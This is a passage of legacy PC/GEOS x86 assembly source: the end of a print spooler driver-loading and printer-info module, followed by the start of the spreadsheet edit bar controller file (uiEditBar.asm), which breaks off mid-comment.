uses ds, si .enter ; First allocate a PState ; mov ax, (size PState) mov cx, ALLOC_DYNAMIC_NO_ERR or ((mask HAF_ZERO_INIT) shl 8) call MemAlloc ; handle => BX (PState) push bx ; save PState handle ; Access this driver, please ; mov ax, SP_PRINTER_DRIVERS mov cx, PRINT_PROTO_MAJOR mov dx, PRINT_PROTO_MINOR call UserLoadExtendedDriver ; driver handle => BX jc error ; if error, abort ; The driver is loaded. Now set up a few things ; call GeodeInfoDriver ; to get strategy routine mov cx, ds:[si].DIS_strategy.offset mov dx, ds:[si].DIS_strategy.segment pop ax ; PState handle => AX clc ; indicate success done: .leave ret ; We couldn't set device. Fail & clean up error: pop bx ; PState handle => BX call MemFree ; free the PState mov ax, PCERR_PRINTER_NOT_KNOWN ; error type => AX stc ; set carry for failure jmp done ; we're outta here SpoolLoadDriverLow endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CopyDriverInfo %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Load the driver-dependent information CALLED BY: GrabPrinterInfo PASS: DS:SI = PrintDriverInfo ES:DI = PrinterInfoStruct RETURN: Nothing DESTROYED: AX PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 4/17/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CopyDriverInfo proc near .enter mov ax, ds:[si].PDI_timeoutValue mov es:[di].PIS_timeout, ax mov al, ds:[si].PDI_driverType ; PrinterDriverType => AL mov es:[di].PIS_driverType, al .leave ret CopyDriverInfo endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CopyPrinterInfo %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Copy the needed information out of the PrinterInfo table into my own PrinterInfoStruct CALLED BY: GrabPrinterInfo PASS: DS:SI = PrinterInfo ES:DI = PrinterInfoStruct RETURN: Nothing DESTROYED: AX PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 2/22/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CopyPrinterInfo proc near .enter ; Determine what printer modes this beast supports ; clr al ; initially no printer modes tst ds:[si].PI_lowRes ; low resolution graphics jz mode1 or al, mask POM_GRAPHICS_LOW mode1: tst ds:[si].PI_medRes ; medium resolution graphics jz mode2 or al, mask POM_GRAPHICS_MEDIUM mode2: tst ds:[si].PI_hiRes ; high-resolution graphics jz mode3 or al, mask POM_GRAPHICS_HIGH mode3: tst ds:[si].PI_draft ; text draft jz mode4 or al, mask POM_TEXT_DRAFT mode4: tst ds:[si].PI_nlq ; near letter quality jz modeDone or al, mask POM_TEXT_NLQ ; Now copy all the information we need modeDone: mov es:[di].PIS_POM, al ; store the PrinterOutputModes ; Set some information flags ; mov ax, ds:[si].PI_paperWidth mov es:[di].PIS_maxWidth, ax test ds:[si].PI_connect, mask PC_FILE jz mainUI or es:[di].PIS_info, mask SSPI_CAPABLE_TO_FILE mainUI: tst ds:[si].PI_mainUI.chunk jz optionUI or es:[di].PIS_info, mask SSPI_UI_IN_DIALOG_BOX optionUI: tst ds:[si].PI_optionsUI.chunk jz done or es:[di].PIS_info, mask SSPI_UI_IN_OPTIONS_BOX done: .leave ret CopyPrinterInfo endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SpoolSummonsGetPrinterStrings %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Provides a copy of the block containing the print strings CALLED BY: GLOBAL (MSG_SPOOL_SUMMONS_GET_PRINTER_STRINGS) PASS: DS:*SI = SpoolSummons instance data RETURN: CX = Length of the buffer DX = Handle to block holding the strings BP = Currently selected printer DESTROYED: AX, BX, DI PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 3/30/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SpoolSummonsGetPrinterStrings method SpoolSummonsClass, \ MSG_SPOOL_SUMMONS_GET_PRINTER_STRINGS .enter push ds, si ; save the SpoolSummons handle call SSOpenPrintStrings ; get some important data mov bp, dx ; current printer => BP inc cx ; leave room for NULL mov dx, cx ; store in DX mov ax, cx ; bytes to allocate mov cx, ((mask HF_SHARABLE or mask HF_SWAPABLE) or \ ((mask HAF_LOCK or mask HAF_NO_ERR) shl 8)) call MemAlloc ; allocate a block mov si, di ; DS:SI is the string buffer mov es, ax clr di ; ES:DI is the blank buffer mov cx, dx ; bytes to copy => CX rep movsb ; copy the bytes mov cx, dx ; string size => CX dec cx ; without NULL, actually mov dx, bx ; block handle => DX call MemUnlock ; unlock the block pop ds, si ; restore the SpoolSummons obj call SSClosePrintStrings ; unlock the strings block .leave ret SpoolSummonsGetPrinterStrings endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SSOpenPrintStrings %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Access the print strings block and lock it CALLED BY: GLOBAL PASS: DS:*SI = SpoolSummons instance data RETURN: DS:DI = Printer strings CX = Length of the strings buffer DX = Current printer (0 -> N-1) DESTROYED: Nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 3/30/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SSOpenPrintStrings proc near class SpoolSummonsClass uses ax, bx .enter mov di, ds:[si] ; derference the handle add di, ds:[di].SpoolSummons_offset ; access the instance data mov bx, ds:[di].SSI_printDataHan mov cx, ds:[di].SSI_printDataLen mov dx, ds:[di].SSI_currentPrinter call MemLock mov ds, ax clr di .leave ret SSOpenPrintStrings endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SSClosePrintStrings %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Access the print strings block and unlock it CALLED BY: GLOBAL PASS: DS:*SI = SpoolSummons instance data RETURN: Nothing DESTROYED: Nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 3/30/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SSClosePrintStrings proc near class SpoolSummonsClass uses bx, di .enter mov di, ds:[si] ; derference the handle add di, ds:[di].SpoolSummons_offset ; access the instance data mov bx, ds:[di].SSI_printDataHan ; block handle => BX call MemUnlock ; unlock the block .leave ret SSClosePrintStrings endp SpoolSummonsCode ends
{ "pile_set_name": "Github" }
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1992 -- All Rights Reserved PROJECT: PC/GEOS MODULE: uiEditBar.asm FILE: uiEditBar.asm AUTHOR: Gene Anderson, May 12, 1992 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- Gene 5/12/92 Initial revision DESCRIPTION: $Id: uiEditBar.asm,v 1.1 97/04/07 11:12:13 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ;--------------------------------------------------- SpreadsheetClassStructures segment resource SSEditBarControlClass EBCEditBarClass SpreadsheetClassStructures ends ;--------------------------------------------------- EditBarControlCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EBCGetInfo %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get information about the EditBarControl CALLED BY: MSG_GEN_CONTROL_GET_INFO PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of SSEditBarControlClass ax - the message RETURN: DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 5/12/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EBCGetInfo method dynamic SSEditBarControlClass, \ MSG_GEN_CONTROL_GET_INFO mov si, offset EBC_dupInfo FALL_THRU CopyDupInfoCommon EBCGetInfo endm CopyDupInfoCommon proc far EC < push bp, ax ;> EC < mov bp, sp ;> EC < mov ax, cs ;ax <- our segment > EC < cmp ss:[bp][4].segment, ax ;4 is for saved regs > EC < ERROR_NE CONTROLLER_UTILITY_ROUTINE_MUST_BE_CALLED_FROM_SAME_SEGMENT > EC < pop bp, ax ;> mov es, cx mov di, dx ;es:di = dest segmov ds, cs mov cx, size GenControlBuildInfo rep movsb ret CopyDupInfoCommon endp EBC_dupInfo GenControlBuildInfo < mask GCBF_SUSPEND_ON_APPLY or mask GCBF_EXPAND_TOOL_WIDTH_TO_FIT_PARENT, ; GCBI_flags EBC_IniFileKey, ; GCBI_initFileKey EBC_gcnList, ; GCBI_gcnList length EBC_gcnList, ; GCBI_gcnCount EBC_notifyTypeList, ; GCBI_notificationList length EBC_notifyTypeList, ; GCBI_notificationCount EBCName, ; GCBI_controllerName handle EditBarControlUI, ; GCBI_dupBlock EBC_childList, ; GCBI_childList length EBC_childList, ; GCBI_childCount EBC_featuresList, ; GCBI_featuresList length EBC_featuresList, ; GCBI_featuresCount SSEBC_DEFAULT_FEATURES, ; GCBI_features handle EditBarControlToolUI, ; GCBI_toolBlock EBC_toolList, ; GCBI_toolList length EBC_toolList, ; GCBI_toolCount EBC_toolFeaturesList, ; GCBI_toolFeaturesList length EBC_toolFeaturesList, ; GCBI_toolFeaturesCount SSEBC_DEFAULT_TOOLBOX_FEATURES> ; GCBI_toolFeatures if FULL_EXECUTE_IN_PLACE SpreadsheetControlInfoXIP segment resource endif EBC_IniFileKey char "editbar", 0 EBC_gcnList GCNListType \ <MANUFACTURER_ID_GEOWORKS, GAGCNLT_APP_TARGET_NOTIFY_SPREADSHEET_ACTIVE_CELL_CHANGE>, <MANUFACTURER_ID_GEOWORKS, GAGCNLT_APP_TARGET_NOTIFY_SPREADSHEET_EDIT_BAR_CHANGE> EBC_notifyTypeList NotificationType \ <MANUFACTURER_ID_GEOWORKS, GWNT_SPREADSHEET_ACTIVE_CELL_CHANGE>, <MANUFACTURER_ID_GEOWORKS, GWNT_SPREADSHEET_EDIT_BAR_CHANGE> ;--- EBC_childList GenControlChildInfo \ <offset GotoDB, mask SSEBCF_GOTO_CELL, mask GCCF_IS_DIRECTLY_A_FEATURE> ; Careful, this table is in the *opposite* order as the record which ; it corresponds to. EBC_featuresList GenControlFeaturesInfo \ <offset GotoDB, GotoDBName, 0> ;--- EBC_toolList GenControlChildInfo \ <offset GotoCellEdit, mask SSEBCTF_GOTO_CELL, \ mask GCCF_IS_DIRECTLY_A_FEATURE>, <offset GotoCellButton, mask SSEBCTF_GOTO_CELL_BUTTON, \ mask GCCF_IS_DIRECTLY_A_FEATURE>, <offset EditIcons, mask SSEBCTF_EDIT_ICONS, \ mask GCCF_IS_DIRECTLY_A_FEATURE>, <offset EditBar, mask SSEBCTF_EDIT_BAR, \ mask GCCF_IS_DIRECTLY_A_FEATURE>, <offset BackspaceButton, mask SSEBCTF_BACKSPACE_BUTTON, \ mask GCCF_IS_DIRECTLY_A_FEATURE>, <offset FilterSelector, mask SSEBCTF_FILTER_SELECTOR, \ mask GCCF_IS_DIRECTLY_A_FEATURE> ; Careful, this table is in the *opposite* order as the record which ; it corresponds to. EBC_toolFeaturesList GenControlFeaturesInfo \ <offset GotoCellEdit, GotoCellName, 0>, <offset GotoCellButton, GotoCellButtonName, 0>, <offset EditIcons, EditIconsName, 0>, <offset EditBar, EditBarName, 0>, <offset BackspaceButton, BackspaceButtonName, 0>, <offset FilterSelector, FilterSelectorName, 0> if FULL_EXECUTE_IN_PLACE SpreadsheetControlInfoXIP ends endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EBCUpdateUI %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Update the UI for the EditBarControl CALLED BY: MSG_GEN_CONTROL_UPDATE_UI PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of SSEditBarControlClass ax - the message RETURN: DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 5/12/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EBCUpdateUI method dynamic SSEditBarControlClass, \ MSG_GEN_CONTROL_UPDATE_UI ; ; Get notification data ; mov bx, ss:[bp].GCUUIP_dataBlock push bx call MemLock mov dx, ax ;dx <- seg addr of notification mov es, ax ;es <- seg addr of notification mov bx, ss:[bp].GCUUIP_toolBlock mov ax, ss:[bp].GCUUIP_toolboxFeatures cmp ss:[bp].GCUUIP_changeType, GWNT_SPREADSHEET_EDIT_BAR_CHANGE LONG je editBarUpdate ; make sure that the font of the text in edit bar is the ; current font ; ; Any "Goto" tool? ; test ax, mask SSEBCTF_GOTO_CELL jz noGotoTool push bp mov bp, offset NSSACC_text ;dx:bp <- ptr to text mov di, offset GotoCellEdit ;^lbx:di <- text object call EBC_SetText pop bp noGotoTool: ; ; Any "Goto" button? ; test ax, mask SSEBCTF_GOTO_CELL_BUTTON jz noGotoButton mov cx, offset NSSACC_text ;dx:cx <- ptr to text mov di, offset GotoCellButton ;^lbx:di <- text object call EBC_SetMoniker noGotoButton: ; ; Any "Goto" DB? ; mov bx, ss:[bp].GCUUIP_childBlock mov ax, ss:[bp].GCUUIP_features test ax, mask SSEBCF_GOTO_CELL jz noGotoDB mov bp, offset NSSACC_text ;dx:bp <- ptr to text mov di, offset GotoDBCellEdit ;^lbx:di <- text object call EBC_SetText call EBC_SelectText ;select the new cell ref text noGotoDB: jmp done editBarUpdate: ; ; Any "Edit Bar" tool? ; test ax, mask SSEBCTF_EDIT_BAR jz noEditBar ; ; Is the edit bar dirty? If so, ignore this update ; so we don't obliterate what the user is typing. ; call EBC_CheckModified jnz done ;branch if modified ; ; Update the edit bar ; mov bp, offset NSSEBC_text ;dx:bp <- ptr to text mov di, offset EditBar ;di <- text object if _PROTECT_CELL call EBC_EnableDisable ;enable/disable the text obj endif call EBC_SetText ; ; Set the edit bar not user modified ; call EBC_NotModified noEditBar: done: ; ; All done...clean up ; pop bx call MemUnlock ret EBCUpdateUI endm ;--- EBC_CheckModified proc near uses ax, si .enter push ax, si mov ax, MSG_VIS_TEXT_GET_USER_MODIFIED_STATE mov si, offset EditBar ;^lbx:si <- OD of edit bar call EBC_ObjMessageCall pop ax, si tst cx ;user modified? .leave ret EBC_CheckModified endp EBC_NotModified proc near uses ax, si .enter mov ax, MSG_VIS_TEXT_SET_NOT_USER_MODIFIED mov si, offset EditBar ;^lbx:si <- OD of edit bar call EBC_ObjMessageCall .leave ret EBC_NotModified endp if _PROTECT_CELL EBC_EnableDisable proc near uses ax, cx, si, dx, bp .enter ; ; enable or disable the Edit bar text field based on the protection ; flag. If the cell is unprotected, enable the text; otherwise, disable ; the text. ; mov ax, MSG_GEN_SET_NOT_ENABLED ;assume disable push ds mov ds, dx ;ds = notification seg test ds:[NSSEBC_miscData], mask SSEBCMD_PROTECTION pop ds jnz msgSet ;jump if cell protected mov ax, MSG_GEN_SET_ENABLED msgSet: mov si, di mov dl, VUM_NOW call EBC_ObjMessageCall .leave ret EBC_EnableDisable endp endif EBC_SetText proc near uses ax, cx, si, dx, bp .enter ; ; the text message can destroy cx, dx, bp ; mov si, di ;^lbx:si <- OD of text object mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR clr cx ;cx <- text is NULL-terminated call EBC_ObjMessageCall .leave ret EBC_SetText endp EBC_SetMoniker proc near uses ax, cx, si, dx, bp .enter ; ; the text message can destroy cx, dx, bp ; xchg cx, dx ; cx:dx = fptr to string mov bp, VUM_NOW mov si, di ;^lbx:si <- OD of text object mov ax, MSG_GEN_REPLACE_VIS_MONIKER_TEXT call EBC_ObjMessageCall .leave ret EBC_SetMoniker endp EBC_SelectText proc near uses ax, cx, si, dx, bp .enter ; ; the text message can destroy cx, dx, bp ; mov si, di ;^lbx:si <- OD of text object mov ax, MSG_VIS_TEXT_SELECT_ALL call EBC_ObjMessageCall .leave ret EBC_SelectText endp DisEnableEditIcons proc near uses ax, dx, si .enter push ax mov dl, VUM_NOW ;dl <- VisUpdateMode mov si, offset EnterIcon call EBC_ObjMessageSend pop ax mov dl, VUM_NOW ;dl <- VisUpdateMode mov si, offset CancelIcon call EBC_ObjMessageSend .leave ret DisEnableEditIcons endp DisEnableBackspaceButton proc near uses ax, dx, si .enter mov dl, VUM_NOW ;dl <- VisUpdateMode mov si, offset BackspaceButton call EBC_ObjMessageSend .leave ret DisEnableBackspaceButton endp DisEnableFilterSelector proc near uses ax, dx, si .enter mov dl, VUM_NOW ;dl <- VisUpdateMode mov si, offset FilterSelector call EBC_ObjMessageSend .leave ret DisEnableFilterSelector endp EBC_ObjMessageSend proc near uses di .enter mov di, mask MF_FIXUP_DS call ObjMessage .leave ret EBC_ObjMessageSend endp EBC_ObjMessageCall proc near uses di .enter mov di, mask MF_FIXUP_DS or mask MF_CALL call ObjMessage .leave ret EBC_ObjMessageCall endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SetRCValue %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: set row/column GenValues from row/column text CALLED BY: INTERNAL EBCUpdateUI PASS: *ds:si = controller dx:bp = row/column text bx = child block RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 10/28/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EBCTextGainedFocus %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Handle gaining the focus CALLED BY: MSG_META_GAINED_FOCUS_EXCL PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of EBCEditBarClass ax - the message RETURN: none DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 5/18/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EBCTextGainedFocus method dynamic EBCEditBarClass, \ MSG_META_GAINED_FOCUS_EXCL ; ; Let our superclass do its thing ; mov di, offset EBCEditBarClass call ObjCallSuperNoLock ; ; Save our focus state ; mov di, ds:[si] add di, ds:[di].Gen_offset ornf ds:[di].EBCI_flags, mask SSEBCF_IS_FOCUS ; ; If we have any icons, call the controller enable them ; movdw bxsi, ds:[OLMBH_output] mov ax, MSG_SSEBC_DIS_ENABLE_EDIT_ICONS mov cx, MSG_GEN_SET_ENABLED call EBC_ObjMessageCall ret EBCTextGainedFocus endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EBCTextLostFocus %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Handle losing the focus CALLED BY: MSG_META_LOST_FOCUS_EXCL PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of EBCEditBarClass ax - the message RETURN: none DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 6/12/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EBCTextLostFocus method dynamic EBCEditBarClass, \ MSG_META_LOST_FOCUS_EXCL ; ; Let our superclass do its thing ; mov di, offset EBCEditBarClass call ObjCallSuperNoLock ; ; Update our focus state ; mov di, ds:[si] add di, ds:[di].Gen_offset andnf ds:[di].EBCI_flags, not (mask SSEBCF_IS_FOCUS) ; ; If we have any icons, call the controller to disable them ; movdw bxsi, ds:[OLMBH_output] mov ax, MSG_SSEBC_DIS_ENABLE_EDIT_ICONS mov cx, MSG_GEN_SET_NOT_ENABLED call EBC_ObjMessageCall ret EBCTextLostFocus endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EBCTextGetFlags %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get current flags for EditBar text object CALLED BY: MSG_EBC_TEXT_EDIT_GET_FLAGS PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of EBCEditBarClass ax - the message RETURN: cl - SSEditBarControlFlags DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 6/12/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EBCTextGetFlags method dynamic EBCEditBarClass, \ MSG_EBC_TEXT_EDIT_GET_FLAGS mov cl, ds:[di].EBCI_flags ;cl <- EditBarControlFlags ret EBCTextGetFlags endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EBCEditKbdChar %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Handle keypress in the edit bar CALLED BY: MSG_META_KBD_CHAR PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of EBCEditBarClass ax - MSG_META_KBD_CHAR: cl - Character (Chars or VChar) ch - CharacterSet (CS_BSW or CS_CONTROL) dl - CharFlags dh - ShiftState (left from conversion) bp low - ToggleState bp high - scan code RETURN: none DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 5/22/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EBCEditKbdChar method dynamic EBCEditBarClass, \ MSG_META_KBD_CHAR SBCS< cmp ch, CS_CONTROL ;control key? > DBCS< cmp ch, CS_CONTROL_HB ;control key? > jne callSuper ;branch if not a control key test dl, mask CF_STATE_KEY or \ mask CF_TEMP_ACCENT jnz callSuper call EBCCheckShortcut ;shortcut? jnc callSuper ;branch if not found test dl, mask CF_RELEASE ;release or press? jnz quit ;ignore releases on shortcuts call cs:EBCKbdActions[di] ;call handler routine jnc callSuper ;branch if not handled quit: .leave ret callSuper: mov di, offset EBCEditBarClass ;es:di <- ptr to class call ObjCallSuperNoLock jmp quit EBCEditKbdChar endm EBCCancel proc near movdw bxsi, ds:[OLMBH_output] mov ax, MSG_SSEBC_CANCEL_DATA call EBC_ObjMessageCall stc ;carry <- press handled ret EBCCancel endp EBCEnterNoPass proc near clr bp FALL_THRU EBCEnter EBCEnterNoPass endp EBCEnter proc near movdw bxsi, ds:[OLMBH_output] mov ax, MSG_SSEBC_ENTER_DATA call EBC_ObjMessageCall stc ;carry <- press handled ret EBCEnter endp EBCEnterAndPass proc near ; ; Record the keyboard event ; mov bx, segment SpreadsheetClass mov si, offset SpreadsheetClass mov di, mask MF_RECORD call ObjMessage mov bp, di ; kbd event GOTO EBCEnter EBCEnterAndPass endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EBCCheckStart %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: See if we're at the start of the edit bar CALLED BY: EBCEditKbdChar() PASS: *ds:si - EBCEditBar object ax - MSG_META_KBD_CHAR cx, dx, bp - values for MSG_META_KBD_CHAR RETURN: carry - set if at start of edit bar DESTROYED: bx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 2/ 7/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EBCCheckStart proc near mov bx, ds:LMBH_handle ;^lbx:si <- OD of text object push ax, cx, dx, bp ; ; Get the current selection ; sub sp, (size VisTextRange) mov bp, sp ;ss:bp <- ptr to VisTextRange call GetSelection mov bx, ss:[bp].VTR_start.low ;bx <- start of selection add sp, (size VisTextRange) ; ; If we're at the start, enter data and go... ; pop ax, cx, dx, bp tst bx ;at start? jne notStart ;branch (carry clear) call EBCEnterAndPass notStart: ret EBCCheckStart endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EBCCheckEnd %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: See if we're at the end of the edit bar CALLED BY: EBCEditKbdChar() PASS: *ds:si - EBCEditBar object ax - MSG_META_KBD_CHAR cx, dx, bp - values for MSG_META_KBD_CHAR RETURN: carry - set if at end of edit bar DESTROYED: bx, si PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 2/ 7/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EBCCheckEnd proc near mov bx, ds:LMBH_handle ;^lbx:si <- OD of text object push ax, cx, dx, bp ; ; Get the current selection ; sub sp, (size VisTextRange) mov bp, sp ;ss:bp <- ptr to VisTextRange call GetSelection mov dx, ss:[bp].VTR_end.low ;bx <- end of selection add sp, (size VisTextRange) ; ; Get the length ; push dx mov ax, MSG_VIS_TEXT_GET_TEXT_SIZE call EBC_ObjMessageCall ;dx:ax <- length of text EC < tst dx ;> EC < ERROR_NZ VISIBLE_POSITION_TOO_LARGE ;> pop bx sub bx, ax ;bx <- position - length ; ; If we're at the end, enter data and go... ; pop ax, cx, dx, bp tst bx ;at end? jne notEnd ;branch (carry clear) call EBCEnterAndPass notEnd: ret EBCCheckEnd endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EBCCheckShortcut %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: See if the keypress is an edit bar shortcut CALLED BY: EBCKbdChar() PASS: ax - 